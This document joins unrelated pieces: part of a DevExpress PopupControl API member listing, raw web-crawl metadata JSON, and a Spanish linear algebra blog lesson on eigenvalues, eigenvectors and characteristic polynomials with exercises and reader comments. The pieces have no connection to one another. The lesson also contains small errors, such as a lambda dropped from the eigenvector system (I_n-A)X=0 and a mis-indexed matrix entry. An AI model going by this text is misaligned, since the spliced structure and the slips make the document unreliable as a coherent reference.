Sets the navigation location of a specific web page to be displayed within the control's window.
ContentUrlIFrameTitle(String)
Sets the title of the window's IFRAME element.
CssClasses(Action<BootstrapPopupControlCssClassesBuilder>)
Provides access to CSS classes applied to visual elements of the Popup Control.
DisappearAfter(Int32)
Sets the delay in hiding the popup control's popup window.
DragElement(DragElement)
Sets a window's part available for drag and drop operations.
EnableCallbackAnimation(Boolean)
Sets a value that specifies whether a fade animation effect is used when a window's content is updated via a callback.
EnableCallbackCompression(Boolean)
Sets whether callback result compression is enabled.
EnableClientSideAPI(Boolean)
Sets a value that specifies whether the control can be manipulated on the client side via code.
Enabled(Boolean)
(Inherited from BootstrapControlBuilder<T>)
EncodeHtml(Boolean)
(Inherited from BootstrapControlBuilder<T>)
FooterContentTemplate(TemplateContent)
Sets a template to display the content of the default window's footer.
FooterNavigateUrl(String)
Sets an URL where the client's web browser will navigate when the text or image is clicked within a window's footer.
FooterTemplate(TemplateContent)
Sets a template to display the default window's footer.
FooterText(String)
Sets the text content of a window's footer.
HeaderContentTemplate(TemplateContent)
Sets a template used to display the content of the default window's header.
HeaderNavigateUrl(String)
Sets an URL where the client's web browser will navigate when the text or image is clicked within a window's header.
HeaderTemplate(TemplateContent)
Sets a template used to display the default window's header.
HeaderText(String)
Sets the text content of a window's header.
Height(Int32)
(Inherited from BootstrapControlBuilder<T>)
Height(String)
(Inherited from BootstrapControlBuilder<T>)
Left(Int32)
Sets the x-coordinate of a control's left side.
LoadContentViaCallback(LoadContentViaCallback)
Sets a value specifying the content loading mode for the BootstrapPopupControlBuilder.
MaxHeight(Int32)
Sets the maximum height of a control's window.
MaxHeight(String)
Sets the maximum height of a control's window.
MaxWidth(Int32)
Sets the maximum width of a control's window.
MaxWidth(String)
Sets the maximum width of a control's window.
MinHeight(Int32)
Sets the minimum height of a control's window.
MinHeight(String)
Sets the minimum height of a control's window.
MinWidth(Int32)
Sets the minimum width of a control's window.
MinWidth(String)
Sets the minimum width of a control's window.
Modal(Boolean)
Sets whether the default popup window is modal.
Name(String)
(Inherited from BootstrapControlBuilder<T>)
PopupAction(PopupAction)
Sets a value that specifies which action forces a popup window to appear.
PopupAlignCorrection(PopupAlignCorrection)
Provides the capability to disable the automatic correction of a popup window position.
PopupAnimationType(AnimationType)
Sets a value specifying the animation type used to show popup windows.
PopupElementCssSelector(String)
Sets the CSS selector of a web control or HTML element with which the current popup window is associated.
PopupHorizontalAlign(PopupHorizontalAlign)
Sets a popup window's horizontal alignment.
PopupHorizontalOffset(Int32)
Sets a popup window's horizontal offset.
PopupVerticalAlign(PopupVerticalAlign)
Sets a popup window's vertical alignment.
PopupVerticalOffset(Int32)
Sets a popup window's vertical offset.
RenderIFrameForPopupElements(Nullable<Boolean>)
Sets a value that specifies whether the control's window (popup windows for PopupControl) is displayed above Java applets that may present on the web page.
ResizingMode(ResizingMode)
Sets a value that specifies when the window being resized should be redrawn.
Routes(Action<PopupControlRouteCollectionBuilder>)
SaveStateToCookies(Boolean)
Sets a value that specifies whether cookies are used to persist the pin, minimize and maximize states, visibility, size, and position of the element (windows for PopupControl, dock panel for DockPanel).
SaveStateToCookiesID(String)
Sets the name (identifier) of the cookie in which the control's state is persisted.
ScrollBars(ScrollBars)
Sets a value specifying which scrollbars should appear in the control's window.
SettingsAdaptivity(Action<PopupControlAdaptivitySettingsBuilder>)
Provides access to the popup window's adaptivity settings.
SettingsBootstrap(Action<BootstrapPopupControlBootstrapSpecificSettingsBuilder>)
Provides access to the Popup Control's rendering settings affecting features specific to the Bootstrap framework.
SettingsLoadingPanel(Action<SettingsLoadingPanelBuilder>)
Provides access to the loading panel settings.
ShowCloseButton(Boolean)
Sets a value that specifies whether a window's close button is displayed.
ShowFooter(Boolean)
Sets a value that specifies whether a window's footer is displayed.
ShowHeader(Boolean)
Sets a value that specifies whether a window's header is displayed.
ShowOnPageLoad(Boolean)
Sets a value that specifies whether the window is automatically displayed when a client browser loads the page.
ShowPageScrollbarWhenModal(Boolean)
Sets a value that specifies whether a browser's scroll bars can be displayed when the default popup window is shown in modal mode.
ShowViewportScrollbarWhenModal(Boolean)
Sets a value that specifies whether the vertical and horizontal scroll bars can be displayed in the viewport when a popup window is shown in modal mode.
TabIndex(Int16)
Sets the control's tab index.
Target(String)
Sets a window or frame at which to tarthe contents of the URLs associated with links in a window's header and footer.
Text(String)
Sets the text displayed within a window's content region.
ToolTip(String)
Sets the text displayed when the mouse pointer hovers over the control.
Top(Int32)
Sets the y-coordinate of a control's top side.
Visible(Boolean)
(Inherited from BootstrapControlBuilder<T>)
Width(Int32)
(Inherited from BootstrapControlBuilder<T>)
Width(String)
(Inherited from BootstrapControlBuilder<T>)
WriteTo(TextWriter, HtmlEncoder)
(Inherited from BootstrapControlBuilder<T>)
See Also
|
{
"url": "https://docs.devexpress.com/ASPNETCoreBootstrap/DevExpress.AspNetCore.Bootstrap.BootstrapPopupControlBuilder._members",
"source_domain": "docs.devexpress.com",
"snapshot_id": "crawl=CC-MAIN-2019-13",
"warc_metadata": {
"Content-Length": "684979",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NVBCDFXPUCSZQBSDUSTAQVHJU6WCXHK2",
"WARC-Concurrent-To": "<urn:uuid:b39fd7f7-7d25-4989-ae01-30b271a0f62b>",
"WARC-Date": "2019-03-23T19:19:06Z",
"WARC-IP-Address": "52.151.62.51",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:IJ6JMQTDD7ZOKX34QA5EZCAU4THQO6D5",
"WARC-Record-ID": "<urn:uuid:a2ac24dc-319b-4189-a210-0f1da53cd0d2>",
"WARC-Target-URI": "https://docs.devexpress.com/ASPNETCoreBootstrap/DevExpress.AspNetCore.Bootstrap.BootstrapPopupControlBuilder._members",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:94fe5db0-81ea-4f3a-8dcb-d138a2aa563d>"
},
"warc_info": "isPartOf: CC-MAIN-2019-13\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-152-225-239.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
37,
38,
132,
133,
146,
147,
164,
206,
207,
277,
278,
286,
287,
304,
327,
328,
408,
409,
430,
431,
536,
537,
556,
557,
620,
621,
649,
650,
765,
766,
828,
829,
909,
910,
935,
936,
1019,
1020,
1054,
1055,
1127,
1128,
1151,
1152,
1247,
1248,
1273,
1292,
1293,
1390,
1391,
1421,
1422,
1469,
1470,
1529,
1530,
1610,
1611,
1633,
1634,
1693,
1694,
1719,
1720,
1781,
1782,
1815,
1816,
1935,
1936,
1971,
1972,
2025,
2026,
2055,
2056,
2152,
2153,
2170,
2214,
2234,
2278,
2317,
2318,
2389,
2390,
2416,
2417,
2534,
2535,
2567,
2568,
2624,
2625,
2644,
2645,
2689,
2690,
2729,
2730,
2806,
2807,
2833,
2834,
2951,
2952,
2984,
2985,
3046,
3047,
3066,
3067,
3111,
3112,
3126,
3170,
3185,
3229,
3241,
3242,
3290,
3291,
3338,
3339,
3426,
3427,
3444,
3445,
3492,
3493,
3511,
3512,
3559,
3560,
3576,
3577,
3623,
3624,
3641,
3642,
3688,
3689,
3706,
3707,
3754,
3755,
3773,
3774,
3821,
3822,
3838,
3839,
3885,
3886,
3903,
3904,
3950,
3951,
3966,
3967,
4015,
4016,
4029,
4073,
4098,
4099,
4173,
4174,
4217,
4218,
4306,
4307,
4341,
4342,
4413,
4414,
4446,
4447,
4553,
4554,
4597,
4598,
4642,
4643,
4672,
4673,
4714,
4715,
4754,
4755,
4797,
4798,
4825,
4826,
4865,
4866,
4914,
4915,
5071,
5072,
5099,
5100,
5177,
5178,
5229,
5257,
5258,
5461,
5462,
5491,
5492,
5576,
5577,
5600,
5601,
5681,
5682,
5748,
5749,
5808,
5809,
5890,
5891,
6005,
6006,
6064,
6065,
6112,
6113,
6138,
6139,
6213,
6214,
6234,
6235,
6303,
6304,
6324,
6325,
6393,
6394,
6418,
6419,
6531,
6532,
6568,
6569,
6700,
6701,
6741,
6742,
6895,
6896,
6912,
6913,
6943,
6944,
6959,
6960,
7078,
7079,
7092,
7093,
7151,
7152,
7168,
7169,
7241,
7242,
7253,
7254,
7301,
7302,
7319,
7363,
7376,
7420,
7434,
7478,
7511,
7555
],
"line_end_idx": [
37,
38,
132,
133,
146,
147,
164,
206,
207,
277,
278,
286,
287,
304,
327,
328,
408,
409,
430,
431,
536,
537,
556,
557,
620,
621,
649,
650,
765,
766,
828,
829,
909,
910,
935,
936,
1019,
1020,
1054,
1055,
1127,
1128,
1151,
1152,
1247,
1248,
1273,
1292,
1293,
1390,
1391,
1421,
1422,
1469,
1470,
1529,
1530,
1610,
1611,
1633,
1634,
1693,
1694,
1719,
1720,
1781,
1782,
1815,
1816,
1935,
1936,
1971,
1972,
2025,
2026,
2055,
2056,
2152,
2153,
2170,
2214,
2234,
2278,
2317,
2318,
2389,
2390,
2416,
2417,
2534,
2535,
2567,
2568,
2624,
2625,
2644,
2645,
2689,
2690,
2729,
2730,
2806,
2807,
2833,
2834,
2951,
2952,
2984,
2985,
3046,
3047,
3066,
3067,
3111,
3112,
3126,
3170,
3185,
3229,
3241,
3242,
3290,
3291,
3338,
3339,
3426,
3427,
3444,
3445,
3492,
3493,
3511,
3512,
3559,
3560,
3576,
3577,
3623,
3624,
3641,
3642,
3688,
3689,
3706,
3707,
3754,
3755,
3773,
3774,
3821,
3822,
3838,
3839,
3885,
3886,
3903,
3904,
3950,
3951,
3966,
3967,
4015,
4016,
4029,
4073,
4098,
4099,
4173,
4174,
4217,
4218,
4306,
4307,
4341,
4342,
4413,
4414,
4446,
4447,
4553,
4554,
4597,
4598,
4642,
4643,
4672,
4673,
4714,
4715,
4754,
4755,
4797,
4798,
4825,
4826,
4865,
4866,
4914,
4915,
5071,
5072,
5099,
5100,
5177,
5178,
5229,
5257,
5258,
5461,
5462,
5491,
5492,
5576,
5577,
5600,
5601,
5681,
5682,
5748,
5749,
5808,
5809,
5890,
5891,
6005,
6006,
6064,
6065,
6112,
6113,
6138,
6139,
6213,
6214,
6234,
6235,
6303,
6304,
6324,
6325,
6393,
6394,
6418,
6419,
6531,
6532,
6568,
6569,
6700,
6701,
6741,
6742,
6895,
6896,
6912,
6913,
6943,
6944,
6959,
6960,
7078,
7079,
7092,
7093,
7151,
7152,
7168,
7169,
7241,
7242,
7253,
7254,
7301,
7302,
7319,
7363,
7376,
7420,
7434,
7478,
7511,
7555,
7563
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 7563,
"ccnet_original_nlines": 282,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3016224205493927,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.012536870315670967,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.22713863849639893,
"rps_doc_frac_unique_words": 0.3050660789012909,
"rps_doc_mean_word_length": 6.8292951583862305,
"rps_doc_num_sentences": 65,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.655101299285889,
"rps_doc_word_count": 908,
"rps_doc_frac_chars_dupe_10grams": 0.02805998921394348,
"rps_doc_frac_chars_dupe_5grams": 0.2822125554084778,
"rps_doc_frac_chars_dupe_6grams": 0.2194807231426239,
"rps_doc_frac_chars_dupe_7grams": 0.1994839459657669,
"rps_doc_frac_chars_dupe_8grams": 0.14771811664104462,
"rps_doc_frac_chars_dupe_9grams": 0.06998871266841888,
"rps_doc_frac_chars_top_2gram": 0.024189649149775505,
"rps_doc_frac_chars_top_3gram": 0.03225285932421684,
"rps_doc_frac_chars_top_4gram": 0.03160781040787697,
"rps_doc_books_importance": -307.6597595214844,
"rps_doc_books_importance_length_correction": -307.6597595214844,
"rps_doc_openwebtext_importance": -118.76445770263672,
"rps_doc_openwebtext_importance_length_correction": -118.76445770263672,
"rps_doc_wikipedia_importance": 73.52300262451172,
"rps_doc_wikipedia_importance_length_correction": 73.52300262451172
},
"fasttext": {
"dclm": 0.1068548634648323,
"english": 0.6313020586967468,
"fineweb_edu_approx": 2.4360785484313965,
"eai_general_math": 0.600174069404602,
"eai_open_web_math": 0.2015579342842102,
"eai_web_code": 0.9195916056632996
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.13",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
1,104,692,651,067,287,600 |
Álgebra Lineal I: Eigenvalores y eigenvectores de transformaciones y matrices
Por Leonardo Ignacio Martínez Sandoval
Introducción
En entradas anteriores ya establecimos los fundamentos para hablar de determinantes. Dimos su definición para el caso de vectores y el caso de matrices/transformaciones lineales. Enunciamos y demostramos varias de sus propiedades. Luego dedicamos toda una entrada a ver formas de calcularlos. Finalmente, vimos que nos pueden ayudar para entender mucho mejor a los sistemas de ecuaciones lineales. Entender bien estos conceptos te será de gran utilidad en tu formación matemática.
Además, los determinantes son un paso natural en uno de nuestros objetivos del curso: entender por qué las matrices simétricas reales son diagonalizables. Recuerda que una matriz $A$ en $M_n(F)$ es diagonalizable si existe una matriz diagonal $D$ y una matriz invertible $P$, ambas en $M_n(F)$, de modo que $$A=P^{-1}DP.$$
Lo que haremos en esta entrada es hablar de esos valores que aparecen en la matriz diagonal $D$ en el caso de que $A$ sea diagonalizable. Resulta que estos valores están relacionados con una pregunta muy natural en términos de lo que le hace la matriz a ciertos vectores. Y mejor aún, como veremos, hay un método para encontrar estos valores por medio de un determinante. Vamos poco a poco.
Eigenvalores y eigenvectores para transformaciones lineales
Sea $V$ un espacio vectorial sobre un campo $F$ y sea $T:V\to V$ una transformación lineal. Para fijar ideas, pensemos en $\mathbb{R}^n$ por el momento. A veces, $T$ simplemente la cambia la magnitud a un vector, sin cambiarle la dirección. Es decir, hay algunos vectores para los cuales $T$ se comporta simplemente como la multiplicación por un escalar. En símbolos, hay vectores $v$ tales que existe un valor $\lambda$ tal que $T(v)=\lambda v$.
Por supuesto, al vector $0$ siempre le pasa esto, pues como $T$ es lineal, se tiene que $T(0)=0=\lambda\cdot 0$ para cualquier escalar $\lambda$. Resulta que cuando se estudian estos vectores y escalares especiales, lo más conveniente es quitar al vector $0$ de la discusión. Estas ideas llevan a la siguiente definición.
Definición. Un eigenvalor de una transformación lineal $T:V\to V$ es un escalar $\lambda$ tal que $\lambda \text{id} – T$ no es invertible. En otras palabras, $\lambda$ es un escalar tal que existe un vector no cero en el kernel de $\lambda \text{id} – T$. A un vector $v\neq 0$ en $V$ tal que $$(\lambda \text{id} – T)v=0,$$ se le conoce como un eigenvector de $T$.
En otras palabras, $v$ es un eigenvector correspondiente a $T$ si $v$ no es cero y $T(v)=\lambda v$. A los eigenvalores y eigenvectores de $T$ también se les conoce en la bibliografía como valores propios y vectores propios de $T$.
Observa que si al conjunto de eigenvectores para un eigenvalor $\lambda$ le agregamos el vector $0$, entonces obtenemos el kernel de una transformación lineal, que sabemos que es un subespacio vectorial.
Veamos un par de ejemplos para que queden más claras las ideas.
Ejemplo. Consideremos a la transformación lineal $T:\mathbb{R}^3\to \mathbb{R}^3$ dada por $$T(x,y,z)=(-2x+15y+18z,3y+10z,z).$$
Observa que
\begin{align*}
T(1,0,0)&=(-2,0,0)\\
&=-2(1,0,0),
\end{align*}
que
\begin{align*}
T(-19,-5,1)&=((-2)(-19)+15(-5)+18,3(-5)+10, 1)\\
&=(28+75-18,-15+10,1)\\
&=(-19,-5,1),
\end{align*}
y que
\begin{align*}
T(3,1,0)&=(-6+15,3,0)\\
&=(9,3,0)\\
&=3(3,1,0).
\end{align*}
Estas igualdades muestran que $(1,0,0)$ es un eigenvector de $T$ con eigenvalor $-2$, que $(-19,-5,1)$ es un eigenvector de $T$ con eigenvalor $1$ y $(3,1,0)$ es un eigenvector de $T$ con eigenvalor $3$.
$\square$
Ejemplo. Consideremos al espacio vectorial $\mathbb{R}[x]$ de polinomios con coeficientes reales. Tomemos la transformación lineal $T$ que manda a un polinomio a su segunda derivada. ¿Quiénes son los eigenvalores y eigenvectores de $T$?
Para que $p$ sea un eigenvector con eigenvalor $\lambda$, tiene que suceder que $$p»=T(p)=\lambda p.$$
Como $p$ no es el vector cero, tiene un cierto grado. Si $\lambda \neq 0$, entonces la igualdad anterior no puede suceder, pues si $p$ es de grado mayor o igual a $2$, entonces el grado de $p»$ es menor al de $\lambda p$, y si el grado de $p$ es $0$ ó $1$, su segunda derivada es $0$, y no puede pasar $\lambda p = 0$. Así, el único eigenvalor que puede tener $T$ es $\lambda = 0$. Observa que sí es válido que los eigenvalores sean cero (los eigenvectores no).
Cuando $\lambda = 0$, tiene que pasar que $p»$ sea $0\cdot p$, es decir, el polinomio cero. Los únicos polinomios tales que su derivada es cero son los constantes y los lineales. Pero el polinomio cero por definición no es eigenvector.
Así, la respuesta final es que el único eigenvalor de $T$ es $0$, y sus eigenvectores correspondientes son los polinomios constantes distintos de cero, y los polinomios lineales.
$\square$
Eigenvalores y eigenvectores para matrices
Tenemos una definición similar para matrices. Sea $A$ una matriz en $M_n(F)$.
Definición. Un escalar $\lambda$ en $F$ es un eigenvalor de $A$ si la matriz $\lambda I_n – A$ no es invertible. En otras palabras, si existe un vector no cero $X$ en $F^n$ tal que $AX=\lambda X$. A un tal vector $X$ se le conoce como un eigenvector correspondiente al eigenvalor $\lambda$.
En otras palabras, los eigenvalores y eigenvectores de $A$ son exactamente los eigenvalores y eigenvectores de la transformación $T_A:\mathbb{F}^n\to \mathbb{F}^n$ dada por $T_A(v)=Av$.
Además, si elegimos cualquier base $B$ de un espacio de dimensión finita $V$ y $A$ es la matriz de $T$ con respecto a la base $B$, entonces para cualquier escalar $\lambda$ se tiene que $\lambda I_n – A$ es la matriz de $\lambda \text{id} – T$ con respecto a esta misma base. De aquí se deduce que los eigenvalores de $T$ son los mismos que los eigenvalores de $A$. Dos matrices que representan a $T$ difieren sólo en un cambio de base, así que obtenemos el siguiente resultado fundamental.
Proposición. Si $A$ es una matriz en $M_n(F)$ y $P$ es una matriz invertible, entonces $A$ y $P^{-1}AP$ tienen los mismos eigenvalores. En otras palabras, matrices similares tienen los mismos eigenvalores.
En el primer ejemplo tomamos la transformación lineal $T:\mathbb{R}^3\to \mathbb{R}^3$ tal que $$T(x,y,z)=(-2x+15y+18z,3y+10z,z).$$ Su matriz en la base canónica de $\mathbb{R}^3$ es $$A=\begin{pmatrix} -2 & 15 & 18\\ 0 & 3 & 10\\ 0 & 0 & 1 \end{pmatrix}.$$ En el ejemplo vimos que los eigenvalores eran $-2$, $1$ y $3$, que precisamente conciden con las entradas en la diagonal de $A$. Esto no es casualidad. El siguiente resultado muestra esto, y es una primer evidencia de la importancia de los determinantes para encontrar los eigenvalores de una matriz.
Proposición. Si $A$ es una matriz triangular (superior o inferior) en $M_n(F)$, entonces sus eigenvalores son exactamente las entradas en su diagonal principal.
Demostración. Haremos el caso para cuando $A$ es triangular superior. El otro caso queda de tarea moral.
Queremos encontrar los valores $\lambda$ para los cuales la matriz $\lambda I_n – A$ no sea invertible. La matriz $A$ es triangular superior, así que la matriz $\lambda I_n – A$ también, pues las entradas de $A$ se vuelven negativas, y luego sólo se altera la diagonal principal.
Si las entradas diagonales de $A$ son $a_{11},\ldots,a_{nn}$, entonces las entradas diagonales de $\lambda I_n -A$ son $$\lambda – a_{11},\ldots,\lambda-a_{nn}.$$
La matriz $\lambda I_n – A$ no es invertible si y sólo si su determinante es igual a cero. Como es una matriz triangular superior, su determinante es el producto de sus entradas diagonales, es decir, $$\det(\lambda I_n – A) = (\lambda – a_{11})\cdot\ldots\cdot(\lambda – a_{nn}).$$
Este producto es $0$ si y sólo si $\lambda$ es igual a alguna entrada $a_{ii}$. De esta forma, los únicos eigenvalores de $A$ son las entradas en su diagonal.
$\square$
Si $A$ es una matriz diagonalizable, entonces es semejante a una matriz diagonal $D$. Por la proposición anterior, los eigenvalores de $A$ serían entonces las entradas en la diagonal principal de $D$. Esto nos da una intuición muy importante: si acaso pudiéramos encontrar todos los eigenvalores de $A$, entonces eso podría ser un paso parcial hacia diagonalizarla.
Encontrar eigenvalores es encontrar las raíces de un polinomio
La siguiente proposición conecta eigenvalores, polinomios y determinantes.
Proposición. Sea $A$ una matriz en $M_n(F)$. Entonces la expresión $$\det(\lambda I_n – A)$$ está en $F[\lambda]$, es decir, es un polinomio en la variable $\lambda$ con coeficientes en $F$. Además, es de grado exactamente $n$.
Demostración. La fórmula para el determinante
\begin{align*}
\begin{vmatrix}
\lambda – a_{11} & -a_{12} & \ldots & -a_{1n}\\
-a_{21} & \lambda – a_{22} & \ldots & -a_{1n}\\
\vdots & & \ddots & \\
-a_{n1} & -a_{n2} & \ldots & \lambda – a_{nn}
\end{vmatrix}
\end{align*}
en términos de permutaciones nos dice que el determinante es sumas de productos de entradas de $A$. Cada una de las entradas es un polinomio en $F[\lambda]$, ya sea constante, o lineal. Como $F[\lambda]$ es cerrado bajo sumas y productos, esto prueba la primer parte de la afirmación.
Para probar que el grado es exactamente $n$, notemos que cada sumando de la expresión multiplica exactamente $n$ entradas. Como las entradas a lo mucho son de grado uno en $F[\lambda]$, entonces cada sumando es un polinomio de grado a lo más $n$. Hay una única forma que el grado sea $n$: cuando se elige la permutación identidad y entonces se obtiene el sumando $$(\lambda-a_{11})\cdot\ldots\cdot(\lambda-a_{nn}).$$
Esto termina la prueba.
$\square$
La proposición anterior nos asegura entonces que la siguiente definición tiene sentido.
Definición. Para $A$ una matriz en $M_n(F)$, el polinomio característico de $A$ es el polinomio $\chi_A(\lambda)$ en $F[\lambda]$ dado por $$\chi_A(\lambda) = \det(\lambda I_n – A).$$
De esta forma, $\lambda$ es un eigenvalor de $A$ si y sólo si es una raíz del polinomio $\chi_A(\lambda)$. Esto son buenas y malas noticias. Por un lado, nos cambia un problema de álgebra lineal a uno de polinomios, en donde a veces tenemos herramientas algebraicas que nos ayudan a encontrar raíces. Sin embargo, como se ve en cursos anteriores, también hay otros polinomios para los cuales es muy difícil encontrar sus raíces de manera exacta. Lo que salva un poco esa situación es que sí existen métodos para aproximar raíces numéricamente de manera computacional.
A pesar de la dificultad de encontrar raíces, sin duda tenemos consecuencias interesantes de esta conexión. Consideremos como ejemplo el siguiente resultado.
Proposición. Una matriz $A$ en $M_n(F)$ tiene a lo más $n$ eigenvalores distintos. Lo mismo es cierto para una transformación lineal $T:V\to V$ para $V$ un espacio vectorial de dimensión $n$.
Demostración. La matriz $A$ tiene tantos eigenvalores como raíces en $F$ tiene su polinomio característico. Como el polinomio característico es de grado exactamente $n$, tiene a lo más $n$ raíces en $F$.
La parte de transformaciones queda de tarea moral.
$\square$
Ya que encontramos los eigenvalores de una matriz o transformación, es posible que queramos encontrar uno o más eigenvectores correspondientes a ese eigenvalor. Observa que eso corresponde a encontrar una solución no trivial al sistema lineal de ecuaciones homogéneo de la forma $$(I_n-A) X = 0.$$ Para ello ya tenemos muchas herramientas, como hacer reducción Gaussiana.
Terminamos esta entrada con un ejemplo de cómo encontrar los valores propios y vectores propios en un caso concreto.
Problema. Encuentra los eigenvalores de la matriz $$A=\begin{pmatrix}1 & 0 & 0\\ 0 & 0 & -1 \\ 0 & 1 & 0 \end{pmatrix}$$ considerándola como:
• Una matriz en $M_3(\mathbb{R})$
• Una matriz en $M_3(\mathbb{C})$.
En el caso de $M_n(\mathbb{R})$, encuentra un eigenvector para cada eigenvalor.
Solución. Para encontrar los eigenvalores, tenemos que encontrar el determinante $$\begin{vmatrix}\lambda – 1 & 0 & 0\\ 0 & \lambda & 1 \\ 0 & -1 & \lambda \end{vmatrix}.$$
Usando expansión de Laplace en la primer columna y haciendo las operaciones, obtenemos que el determinante de $\lambda I_3 – A$ es el polinomio $$(\lambda-1)(\lambda^2+1).$$
Aquí es importante la distinción de saber en qué campo estamos trabajando. Si estamos en $M_3(\mathbb{R})$, la única raíz del polinomio es $1$. Si estamos en $M_3(\mathbb{C})$, obtenemos otras dos raíces: $i$ y $-i$.
Ahora, para cuando $A$ es matriz en $M_3(\mathbb{R})$, necesitamos encontrar un eigenvector para el eigenvalor $1$. Esto equivale a encontrar una solución al sistema de ecuaciones $$(I_3-A)X=0,$$ es decir, a $$\begin{pmatrix}0 & 0 & 0\\ 0 & 1 & 1 \\ 0 & -1 & 1\end{pmatrix}X=0.$$
Una solución para este sistema es $X=(1,0,0)$. Y en efecto, $(1,0,0)$ es eigenvector de $A$ para el eigenvalor $1$ pues no es el vector cero y $$\begin{pmatrix}1 & 0 & 0\\ 0 & 0 & -1 \\ 0 & 1 & 0 \end{pmatrix}\begin{pmatrix} 1 \\ 0 \\ 0 \end{pmatrix} = \begin{pmatrix} 1 + 0 + 0 \\ 0 + 0 + 0 \\ 0 + 0 + 0 \end{pmatrix} = \begin{pmatrix} 1 \\ 0 \\ 0 \end{pmatrix}.$$
$\square$
Observa que la matriz anterior no es diagonalizable en $M_n(\mathbb{R})$, pues si lo fuera tendría que ser semejante a una matriz diagonal $D$ con entradas $i$ y $-i$ en la diagonal, pero entonces $D$ no sería una matriz en $M_n(\mathbb{R})$. Esto nos da otra intuición con respecto a la diagonalización de una matriz: si acaso una matriz en $M_n(F)$ es diagonalizable, entonces su polinomio característico debe tener puras raíces en $F$. Esta es una condición necesaria, pero aún no es suficiente.
Tarea moral
A continuación hay algunos ejercicios para que practiques los conceptos vistos en esta entrada. Te será de mucha utilidad intentarlos para entender más la teoría vista.
• En la entrada vimos que los eigenvalores de una transformación $T$ son los eigenvalores de cualquier matriz que la represente. ¿Es cierto que los eigenvectores de $T$ son los eigenvectores de cualquier matriz que lo represente?
• Muestra que una transformación lineal $T:V\to V$ para $V$ un espacio vectorial de dimensión $n$ tiene a lo más $n$ eigenvalores distintos.
• Encuentra los eigenvalores de las matrices de permutación.
• Para un real $\theta\in[0,2\pi)$ se define la matriz $$A(\theta):=\begin{pmatrix} \cos \theta & -\sin \theta \\ \sin \theta & \cos \theta \end{pmatrix}.$$ Muestra que $A(\theta)$ tiene eigenvalores reales si y sólo si $\theta=0$ \o $\theta=\pi$. Sugerencia: Encuentra el polinomio característico (que es cuadrático) y calcula su discrimintante. Si es negativo, no tiene soluciones reales.
• Sea $A$ una matriz en $M_n(F)$. Muestra que la matriz transpuesta $^t A$ tiene los mismos eigenvalores que $A$, y de hecho, el mismo polinomio característico que $A$. Sugerencia. Recuerda que una matriz y su transpuesta tienen el mismo determinante.
Más adelante…
En esta entrada definimos el concepto de eigenvalor y eigenvector para una transformación lineal y para una matriz; y vimos algunas de las propiedades que cumplen. En la siguiente entrada estudiaremos el concepto de polinomio característico utilizando los conceptos que hemos visto en esta entrada y enunciaremos (sin demostración) dos teoremas muy importantes. Luego, pondremos en práctica lo que hemos estudiado resolviendo algunos ejercicios.
Entradas relacionadas
10 comentarios en “Álgebra Lineal I: Eigenvalores y eigenvectores de transformaciones y matrices
1. Leonardo Ignacio Martínez SandovalLeo Autor
Hola Lorena. Por definición, para cualquier matriz A, cualquier escalar lambda y el vector 0, se tiene que A0 = 0 = lambda 0, que es la igualdad que pide la definición de eigenvectores. Sin embargo, por definición, el vector cero _nunca_ es eigenvector. En otras palabras, un eigenvector tiene que ser un vector _no nulo_, que esté en el kernel de (lambda I) – A.
Los mismos comentarios aplican para eigenvectores de transformaciones.
Responder
1. Arreola Maldonado Francisco Daniel
disculpe, sabe que quiere decir una transformacion lineal de R2 a R2 sin eigenvectores? me pudiera proporcionar un ejemplo?
Responder
1. Leonardo Ignacio Martínez SandovalLeo Autor
Hola. Quiere decir que no existe ningún vector v de entradas reales distinto del vector 0 tal que para algún real r se cumpla que Tv=rv. En esta y otras entradas se explica la teoría para poder construir lo que buscas. Una forma de hacerlo es construir una matriz de 2×2 cuyo polinomio característico no tenga raíces reales.
Responder
2. Daniela Torija
Hola profesor.
